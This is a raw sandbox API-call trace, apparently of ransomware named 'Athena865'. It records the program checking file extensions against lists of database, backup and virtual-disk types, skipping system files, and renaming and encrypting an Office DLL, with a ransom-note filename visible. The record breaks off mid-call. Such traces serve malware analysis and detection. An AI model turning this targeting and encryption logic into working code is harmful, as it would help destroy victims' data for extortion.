lstrlenW (lpString="abx") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0074.377] lstrlenW (lpString="accdb") returned 5 [0074.377] lstrcmpiW (lpString1="W.DLL", lpString2="accdb") returned 1 [0074.377] lstrlenW (lpString="accdc") returned 5 [0074.377] lstrcmpiW (lpString1="W.DLL", lpString2="accdc") returned 1 [0074.377] lstrlenW (lpString="accde") returned 5 [0074.377] lstrcmpiW (lpString1="W.DLL", lpString2="accde") returned 1 [0074.377] lstrlenW (lpString="accdr") returned 5 [0074.377] lstrcmpiW (lpString1="W.DLL", lpString2="accdr") returned 1 [0074.377] lstrlenW (lpString="accdt") returned 5 [0074.378] lstrcmpiW (lpString1="W.DLL", lpString2="accdt") returned 1 [0074.378] lstrlenW (lpString="accdw") returned 5 [0074.378] lstrcmpiW (lpString1="W.DLL", lpString2="accdw") returned 1 [0074.378] lstrlenW (lpString="accft") returned 5 [0074.378] lstrcmpiW (lpString1="W.DLL", lpString2="accft") returned 1 [0074.378] lstrlenW (lpString="adb") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.378] lstrlenW (lpString="adb") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0074.378] lstrlenW (lpString="ade") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0074.378] lstrlenW (lpString="adf") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0074.378] lstrlenW (lpString="adn") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0074.378] lstrlenW (lpString="adp") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0074.378] lstrlenW (lpString="alf") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0074.378] lstrlenW (lpString="ask") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0074.378] lstrlenW (lpString="btr") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0074.378] lstrlenW (lpString="cat") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0074.378] lstrlenW (lpString="cdb") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0074.378] lstrlenW (lpString="ckp") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0074.378] lstrlenW (lpString="cma") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0074.378] lstrlenW (lpString="cpd") returned 3 [0074.378] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0074.378] lstrlenW (lpString="dacpac") returned 6 [0074.379] lstrcmpiW (lpString1="EW.DLL", lpString2="dacpac") returned 1 [0074.379] lstrlenW (lpString="dad") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0074.379] lstrlenW (lpString="dadiagrams") returned 10 [0074.379] lstrcmpiW (lpString1="OGVIEW.DLL", lpString2="dadiagrams") returned 1 [0074.379] lstrlenW (lpString="daschema") returned 8 [0074.379] lstrcmpiW (lpString1="VIEW.DLL", lpString2="daschema") returned 1 [0074.379] lstrlenW (lpString="db-journal") returned 10 [0074.379] lstrcmpiW (lpString1="OGVIEW.DLL", lpString2="db-journal") returned 1 [0074.379] lstrlenW (lpString="db-shm") returned 6 [0074.379] lstrcmpiW (lpString1="EW.DLL", lpString2="db-shm") returned 1 [0074.379] lstrlenW (lpString="db-wal") returned 6 [0074.379] lstrcmpiW (lpString1="EW.DLL", lpString2="db-wal") returned 1 [0074.379] lstrlenW (lpString="dbc") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0074.379] lstrlenW (lpString="dbs") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0074.379] lstrlenW (lpString="dbt") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0074.379] lstrlenW (lpString="dbv") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0074.379] lstrlenW (lpString="dbx") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0074.379] lstrlenW (lpString="dcb") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0074.379] lstrlenW (lpString="dct") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0074.379] lstrlenW (lpString="dcx") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0074.379] lstrlenW (lpString="ddl") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0074.379] lstrlenW (lpString="dlis") returned 4 [0074.379] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0074.379] lstrlenW (lpString="dp1") returned 3 [0074.379] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0074.380] lstrlenW (lpString="dqy") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0074.380] lstrlenW (lpString="dsk") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0074.380] lstrlenW (lpString="dsn") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0074.380] lstrlenW (lpString="dtsx") returned 4 [0074.380] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0074.380] lstrlenW (lpString="dxl") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0074.380] lstrlenW (lpString="eco") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0074.380] lstrlenW (lpString="ecx") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0074.380] lstrlenW (lpString="edb") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0074.380] lstrlenW (lpString="epim") returned 4 [0074.380] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0074.380] lstrlenW (lpString="fcd") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0074.380] lstrlenW (lpString="fdb") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0074.380] lstrlenW (lpString="fic") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0074.380] lstrlenW (lpString="flexolibrary") returned 12 [0074.380] lstrlenW (lpString="fm5") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0074.380] lstrlenW (lpString="fmp") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0074.380] lstrlenW (lpString="fmp12") returned 5 [0074.380] lstrcmpiW (lpString1="W.DLL", lpString2="fmp12") returned 1 [0074.380] lstrlenW (lpString="fmpsl") returned 5 [0074.380] lstrcmpiW (lpString1="W.DLL", lpString2="fmpsl") returned 1 [0074.380] lstrlenW (lpString="fol") returned 3 [0074.380] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0074.380] lstrlenW (lpString="fp3") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0074.381] lstrlenW (lpString="fp4") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0074.381] lstrlenW (lpString="fp5") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0074.381] lstrlenW (lpString="fp7") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0074.381] lstrlenW (lpString="fpt") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0074.381] lstrlenW (lpString="frm") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0074.381] lstrlenW (lpString="gdb") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0074.381] lstrlenW (lpString="gdb") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0074.381] lstrlenW (lpString="grdb") returned 4 [0074.381] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0074.381] lstrlenW (lpString="gwi") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0074.381] lstrlenW (lpString="hdb") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0074.381] lstrlenW (lpString="his") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0074.381] lstrlenW (lpString="ib") returned 2 [0074.381] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0074.381] lstrlenW (lpString="idb") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0074.381] lstrlenW (lpString="ihx") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0074.381] lstrlenW (lpString="itdb") returned 4 [0074.381] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0074.381] lstrlenW (lpString="itw") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0074.381] lstrlenW (lpString="jet") returned 3 [0074.381] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0074.382] lstrlenW (lpString="jtx") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0074.382] lstrlenW (lpString="kdb") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0074.382] lstrlenW (lpString="kexi") returned 4 [0074.382] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0074.382] lstrlenW (lpString="kexic") returned 5 [0074.382] lstrcmpiW (lpString1="W.DLL", lpString2="kexic") returned 1 [0074.382] lstrlenW (lpString="kexis") returned 5 [0074.382] lstrcmpiW (lpString1="W.DLL", lpString2="kexis") returned 1 [0074.382] lstrlenW (lpString="lgc") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0074.382] lstrlenW (lpString="lwx") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0074.382] lstrlenW (lpString="maf") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0074.382] lstrlenW (lpString="maq") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0074.382] lstrlenW (lpString="mar") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0074.382] lstrlenW (lpString="marshal") returned 7 [0074.382] lstrcmpiW (lpString1="IEW.DLL", lpString2="marshal") returned -1 [0074.382] lstrlenW (lpString="mas") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0074.382] lstrlenW (lpString="mav") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0074.382] lstrlenW (lpString="maw") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0074.382] lstrlenW (lpString="mdbhtml") returned 7 [0074.382] lstrcmpiW (lpString1="IEW.DLL", lpString2="mdbhtml") returned -1 [0074.382] lstrlenW (lpString="mdn") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0074.382] lstrlenW (lpString="mdt") returned 3 [0074.382] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0074.383] lstrlenW (lpString="mfd") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0074.383] lstrlenW (lpString="mpd") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0074.383] lstrlenW (lpString="mrg") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0074.383] lstrlenW (lpString="mud") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0074.383] lstrlenW (lpString="mwb") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0074.383] lstrlenW (lpString="myd") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0074.383] lstrlenW (lpString="ndf") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0074.383] lstrlenW (lpString="nnt") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0074.383] lstrlenW (lpString="nrmlib") returned 6 [0074.383] lstrcmpiW (lpString1="EW.DLL", lpString2="nrmlib") returned -1 [0074.383] lstrlenW (lpString="ns2") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0074.383] lstrlenW (lpString="ns3") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0074.383] lstrlenW (lpString="ns4") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0074.383] lstrlenW (lpString="nsf") returned 3 [0074.383] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0074.383] lstrlenW (lpString="nv") returned 2 [0074.383] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0074.383] lstrlenW (lpString="nv2") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0074.384] lstrlenW (lpString="nwdb") returned 4 [0074.384] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0074.384] lstrlenW (lpString="nyf") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0074.384] lstrlenW (lpString="odb") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0074.384] lstrlenW (lpString="odb") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0074.384] lstrlenW (lpString="oqy") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0074.384] lstrlenW (lpString="ora") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0074.384] lstrlenW (lpString="orx") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0074.384] lstrlenW (lpString="owc") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0074.384] lstrlenW (lpString="p96") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0074.384] lstrlenW (lpString="p97") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0074.384] lstrlenW (lpString="pan") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0074.384] lstrlenW (lpString="pdb") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0074.384] lstrlenW (lpString="pdm") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0074.384] lstrlenW (lpString="pnz") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0074.384] lstrlenW (lpString="qry") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0074.384] lstrlenW (lpString="qvd") returned 3 [0074.384] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0074.385] lstrlenW (lpString="rbf") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0074.385] lstrlenW (lpString="rctd") returned 4 [0074.385] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0074.385] lstrlenW (lpString="rod") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0074.385] lstrlenW (lpString="rodx") returned 4 [0074.385] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0074.385] lstrlenW (lpString="rpd") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0074.385] lstrlenW (lpString="rsd") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0074.385] lstrlenW (lpString="sas7bdat") returned 8 [0074.385] lstrcmpiW (lpString1="VIEW.DLL", lpString2="sas7bdat") returned 1 [0074.385] lstrlenW (lpString="sbf") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0074.385] lstrlenW (lpString="scx") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0074.385] lstrlenW (lpString="sdb") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0074.385] lstrlenW (lpString="sdc") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0074.385] lstrlenW (lpString="sdf") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0074.385] lstrlenW (lpString="sis") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0074.385] lstrlenW (lpString="spq") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0074.385] lstrlenW (lpString="te") returned 2 [0074.385] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0074.385] lstrlenW (lpString="teacher") returned 7 [0074.385] lstrcmpiW (lpString1="IEW.DLL", lpString2="teacher") returned -1 [0074.385] lstrlenW (lpString="tmd") returned 3 [0074.385] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0074.385] lstrlenW (lpString="tps") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0074.386] lstrlenW (lpString="trc") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0074.386] lstrlenW (lpString="trc") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0074.386] lstrlenW (lpString="trm") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0074.386] lstrlenW (lpString="udb") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0074.386] lstrlenW (lpString="udl") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0074.386] lstrlenW (lpString="usr") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0074.386] lstrlenW (lpString="v12") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0074.386] lstrlenW (lpString="vis") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0074.386] lstrlenW (lpString="vpd") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0074.386] lstrlenW (lpString="vvv") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0074.386] lstrlenW (lpString="wdb") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0074.386] lstrlenW (lpString="wmdb") returned 4 [0074.386] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0074.386] lstrlenW (lpString="wrk") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0074.386] lstrlenW (lpString="xdb") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0074.386] lstrlenW (lpString="xld") returned 3 [0074.386] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0074.386] lstrlenW (lpString="xmlff") returned 5 [0074.386] lstrcmpiW (lpString1="W.DLL", lpString2="xmlff") returned -1 [0074.386] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL.Athena865") returned 64 [0074.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\logview.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\logview.dll.athena865"), dwFlags=0x1) returned 1 [0074.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGVIEW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\logview.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.388] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=490920) returned 1 [0074.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.388] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.389] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.389] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.389] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x780b0, lpName=0x0) returned 0x154 [0074.390] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x780b0) returned 0x2d50000 [0074.413] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.414] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.414] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.414] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.415] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.419] CloseHandle (hObject=0x154) returned 1 [0074.419] CloseHandle (hObject=0x17c) returned 1 [0074.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.421] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0074.421] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.421] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2=".") returned 1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="..") returned 1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="windows") returned -1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="bootmgr") returned 1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="temp") returned -1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="pagefile.sys") returned -1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="boot") returned 1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="ids.txt") returned 1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="ntuser.dat") returned -1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="perflogs") returned -1 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2="MSBuild") returned -1 [0074.422] lstrlenW (lpString="LOOKUP.DAT") returned 10 [0074.422] lstrcpyW (in: lpString1=0x241e89e, lpString2="LOOKUP.DAT" | out: lpString1="LOOKUP.DAT") returned="LOOKUP.DAT" [0074.422] lstrlenW (lpString="LOOKUP.DAT") returned 10 [0074.422] lstrlenW (lpString="Athena865") returned 9 [0074.422] lstrcmpiW (lpString1="OOKUP.DAT", lpString2="Athena865") returned 1 [0074.422] lstrlenW (lpString=".dll") returned 4 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2=".dll") returned 1 [0074.422] lstrlenW (lpString=".lnk") returned 4 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2=".lnk") returned 1 [0074.422] lstrlenW (lpString=".ini") returned 4 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2=".ini") returned 1 [0074.422] lstrlenW (lpString=".sys") returned 4 [0074.422] lstrcmpiW (lpString1="LOOKUP.DAT", lpString2=".sys") returned 1 [0074.422] lstrlenW (lpString="LOOKUP.DAT") returned 10 [0074.422] lstrlenW (lpString="bak") returned 3 [0074.422] lstrcmpiW (lpString1="DAT", lpString2="bak") returned 1 [0074.422] lstrlenW (lpString="ba_") returned 3 [0074.422] lstrcmpiW (lpString1="DAT", lpString2="ba_") returned 1 [0074.422] lstrlenW (lpString="dbb") returned 3 [0074.422] lstrcmpiW (lpString1="DAT", lpString2="dbb") returned -1 [0074.422] lstrlenW (lpString="vmdk") returned 4 [0074.422] lstrcmpiW (lpString1=".DAT", lpString2="vmdk") returned -1 [0074.423] lstrlenW (lpString="rar") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="rar") returned -1 [0074.423] lstrlenW (lpString="zip") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="zip") returned -1 [0074.423] lstrlenW (lpString="tgz") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="tgz") returned -1 [0074.423] lstrlenW (lpString="vbox") returned 4 [0074.423] lstrcmpiW (lpString1=".DAT", lpString2="vbox") returned -1 [0074.423] lstrlenW (lpString="vdi") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="vdi") returned -1 [0074.423] lstrlenW (lpString="vhd") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="vhd") returned -1 [0074.423] lstrlenW (lpString="vhdx") returned 4 [0074.423] lstrcmpiW (lpString1=".DAT", lpString2="vhdx") returned -1 [0074.423] lstrlenW (lpString="avhd") returned 4 [0074.423] lstrcmpiW (lpString1=".DAT", lpString2="avhd") returned -1 [0074.423] lstrlenW (lpString="db") returned 2 [0074.423] lstrcmpiW (lpString1="AT", lpString2="db") returned -1 [0074.423] lstrlenW (lpString="db2") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="db2") returned -1 [0074.423] lstrlenW (lpString="db3") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="db3") returned -1 [0074.423] lstrlenW (lpString="dbf") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="dbf") returned -1 [0074.423] lstrlenW (lpString="mdf") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="mdf") returned -1 [0074.423] lstrlenW (lpString="mdb") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="mdb") returned -1 [0074.423] lstrlenW (lpString="sql") returned 3 [0074.423] lstrcmpiW (lpString1="DAT", lpString2="sql") returned -1 [0074.423] lstrlenW 